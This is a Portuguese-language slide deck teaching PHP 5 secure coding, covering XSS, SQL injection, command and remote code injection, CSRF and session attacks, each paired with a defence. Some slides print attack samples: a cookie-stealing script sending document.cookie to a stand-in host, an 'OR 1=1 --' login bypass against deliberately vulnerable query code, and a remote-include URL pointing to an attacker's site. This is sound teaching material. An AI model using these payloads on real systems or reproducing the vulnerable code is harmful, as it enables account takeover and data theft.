http://dpasqua.wordpress.com
Segurana Web com PHP 5Douglas V. Pasqua
Zend Certified Enginner
http://dpasqua.wordpress.com
Objetivo
Disseminar boas prticas para o desenvolvimento de cdigo seguro em php.
Exemplificar como so feitos os ataques e suas respectivas formas de preveno.
Concientizar sobre a responsabilidade da segurana no desenvolvimento de uma aplicao.
Abordar os tpicos de segurana que so temas do exame de certificao da Zend.
http://dpasqua.wordpress.com
Tpicos
Introduo a Segurana.
Conceitos e boas prticas. (Filtrando Input e Escapando Output).
Injection Attaks(XSS, SQL, Command, Remote Code).
XSRF
Segurana na Sesso (Session Fixation e Session Hijacking)
Configuraes de segurana no php.ini.
Shared Hosting.
http://dpasqua.wordpress.com
Introduo a Segurana
Responsabilidade pela Segurana.
Princpios de um desenvolvimento seguro para aplicaes Web.
Voc pode confiar nos dados que esto sendo processados ? Quais os dados confiveis ?
Como o maioria dos ataques podem ser evitados ?
Tenha em mente a importncia de se desenvolver uma aplicao segura.
http://dpasqua.wordpress.com
Filtrando Input.
Exemplo:
Usurio: Senha: Empresa: nacional internacional filial
http://dpasqua.wordpress.com
Filtrando Input
Regras de Validao:
Usurio deve ser caracteres alfabticos.
Senha deve ser alfanumrico.
Empresa deve conter somente 'nacional', 'internacional' ou
'filial'.
Validar no lado do cliente(Javascript) ou no lado do Servidor ?
Validando no lado do servidor:
http://dpasqua.wordpress.com
Filtrando Input
http://dpasqua.wordpress.com
Filtrando Input
Validando:
http://dpasqua.wordpress.com
Escapando Output
Qual a importncia de escapar output?
Escapar output deve fazer parte do filtro de input?
Escapando output de acordo com o destino: Web Browser e Database
Escapar output Web Browser
htmlentities / htmlspecialchars:
$message = "A 'quote' is bold";Outputs: A 'quote' is bold
$html['message'] = htmlentities($message, ENT_QUOTES, 'UTF-8');
http://dpasqua.wordpress.com
Escapando Output
Escapar output - Database
*_escape_string
Prepared statements
$sql = 'SELECT * FROM usuarios WHERE usuario = :usuario AND senha = :senha';
$sth = $pdo->prepare($sql);$sth->execute(array(':username' => $clean['username'],
':senha' => $clean['senha']));$results = $sth->fetchAll();
http://dpasqua.wordpress.com
Escapando Output
$sql = 'SELECT * FROM usuarios WHERE usuario = ? AND senha = ?';$sth = $pdo->prepare($sql);$sth->execute(array($clean['username'], $clean['senha']));$results = $sth->fetchAll();
http://dpasqua.wordpress.com
Cross-Site Scripting
um dos mais conhecidos e um mais comuns dos tipos de ataque.
Explora a confiana que o usurio tem na aplicao.
O foco esta no roubo de informaes pessoais do usurios, como por exemplo, os cookies.
Exemplo:
http://dpasqua.wordpress.com
Cross-Site Scripting
document.location ='http://exemplo.org/getcookies.php?cookies=' + document.cookie;
Para previnir-se do ataque, faa escape do output utilizando
htmlentities
http://dpasqua.wordpress.com
SQL Injection
um ataque no qual o usurio malicioso injeta comandos sql em campos de formulrios.
Primeiro o atacante obtm informaes suficientes para realizar o ataque, normalmente atravs de mensagens de erro do banco de dados.
Um exemplo popular o formulrio de Login:
Username: Senha:
http://dpasqua.wordpress.com
SQL Injection
O Cdigo Vulenervel:$sql = "SELECT count(*) FROM usuarios WHERE usuario = '{$_POST['usuario']}' AND senha= '{$_POST['senha']}'";
Nesse caso no feito o filtro de input. Nada escapado.
Pode-se logar no sistema, passando no campo de usurio o seguinte contedo: (Independente do que passado no campo de senha.)
administrador' OR 1=1 --
http://dpasqua.wordpress.com
SQL InjectionSELECT * FROM usuariosWHERE usuario = 'admin' OR 1 = 1 -- ' AND senha = 'senhaqualquer'Para previnir sql injection, utilizar *_escape_string() ou de
preferncia prepared statements
http://dpasqua.wordpress.com
Command Injection
Tome cuidado ao utilizar o input de usurio para montar comandos dinmicos ao utilizar as funes 'exec', 'system', 'passthru'.
Evite sempre que possvel utilizar funes que executem comandos no shell.
Se no tiver outra opo, evite utilizar o input de usurio para criar os comandos shell.
Se for ter que utilizar o input de usurio para montar os comando shell, voc pode fazer uso das funes escapeshellcmd() e escapeshellarg()
http://dpasqua.wordpress.com
Remote Code Injection
Tome cuidado ao usar o input do usurio para fazer um include dinmico na sua aplicao.
Muitas aplicaes se baseiam no input do usurio para criar includes em sua aplicao.
Exemplo:
include "{$_GET['secao']}/config.php";Um usurio mal intencionado pode manipular a query string
e criar uma URL que ir incluir um arquivo em um site remoto.
http://www.examplo.org/?secao=http%3A%2F%2Ffwww.sitedoatacante.org%2Fblah.inc%3F
http://dpasqua.wordpress.com
Remote Code Injection
Para se prevenir desse ataque, utilize o filtro de input adequado.
Outra forma de se previnir desabilitando a diretiva allow_url_fopen do php.ini.
http://dpasqua.wordpress.com
XSRF ou CSRFO ataque consiste em forjar requisies de outros usurios.
Explora a confiana que a aplicao tem no usurio.
difcil de identificar pois para a aplicao parece ser uma requisio legtima.
Exemplo: Atacante analisando o formulrio:
To Valor $
http://dpasqua.wordpress.com
transfer.php:
http://dpasqua.wordpress.com
XSRF
Forjando GET
http://dpasqua.wordpress.com
XSRF
if ($_SESSION['token'] == $_POST['token']) {/* valido */
}
http://dpasqua.wordpress.com
Session Fixation
Basicamente, como funciona o processo de criao de sesso no PHP ?
session_start()
Set_Cookie Header
Nome do Cookie: PHPSESSID
Fixando Sesso:
Entrar
http://dpasqua.wordpress.com
Session Fixation
http://www.exemplo.com.br/index.php?PHPSESSID=654321session.use_only_cookies = Off (Padro On)
session.use_trans_sid = On (Padro Off)
http://dpasqua.wordpress.com
Session Fixation
Protegendo-se contra o ataque de session fixation: session_regenerate_id()
http://dpasqua.wordpress.com
Session Hijacking
Como feito o ataque de session hijacking ?
Como se prevenir ?
HTTP_USER_AGENT
http://dpasqua.wordpress.com
Session Hijacking
http://dpasqua.wordpress.com
Configuraes no php.ini
Register Globals:
Variaveis so injetadas no seu cdigo. impossvel determinar a origem dos dados.
Exemplo:
if (checkLogin( ) ) { $loggedin = TRUE;}if ($loggedin) {}
http://dpasqua.wordpress.com
Configuraes no php.ini
Sempre utilizar $_GET, $_POST, $_COOKIE, $_SESSION
Em verses > 4.2.0 O padro Off.
PHP 6 no ter mais essa opo.
http://dpasqua.wordpress.com
Shared Hosting
Usar safe_mode ?
php.ini: open_basedir, disable_functions, disable_classes.
open_basedir: Limita os locais onde o php pode abrir e incluir arquivos.
Usando open_basedir com VirtualHost:
php_admin_value open_basedir /var/www
disable_functions e disable_classes permitem desabilitar
funes e classes do php.
http://dpasqua.wordpress.com
Shared Hosting; Desabilitar funes
disable_functions = exec,passthru,shell_exec,system
;Desabilitar classes
disable_classes = DirectoryIterator,Directory
Protegendo sesses em hosts compartilhados usando session_set_save_handler:
session_set_save_handler('_open', '_close', '_read', '_write', '_destroy',
'_clean');
http://dpasqua.wordpress.com
Fale Conosco
Mais informaes:
http://dpasqua.wordpress.com
E-mail: [email protected]
Fone: 11 9446-2562
Slide 1Slide 2Slide 3Slide 4Slide 5Slide 6Slide 7Slide 8Slide 9Slide 10Slide 11Slide 12Slide 13Slide 14Slide 15Slide 16Slide 17Slide 18Slide 19Slide 20Slide 21Slide 22Slide 23Slide 24Slide 25Slide 26Slide 27Slide 28Slide 29Slide 30Slide 31Slide 32Slide 33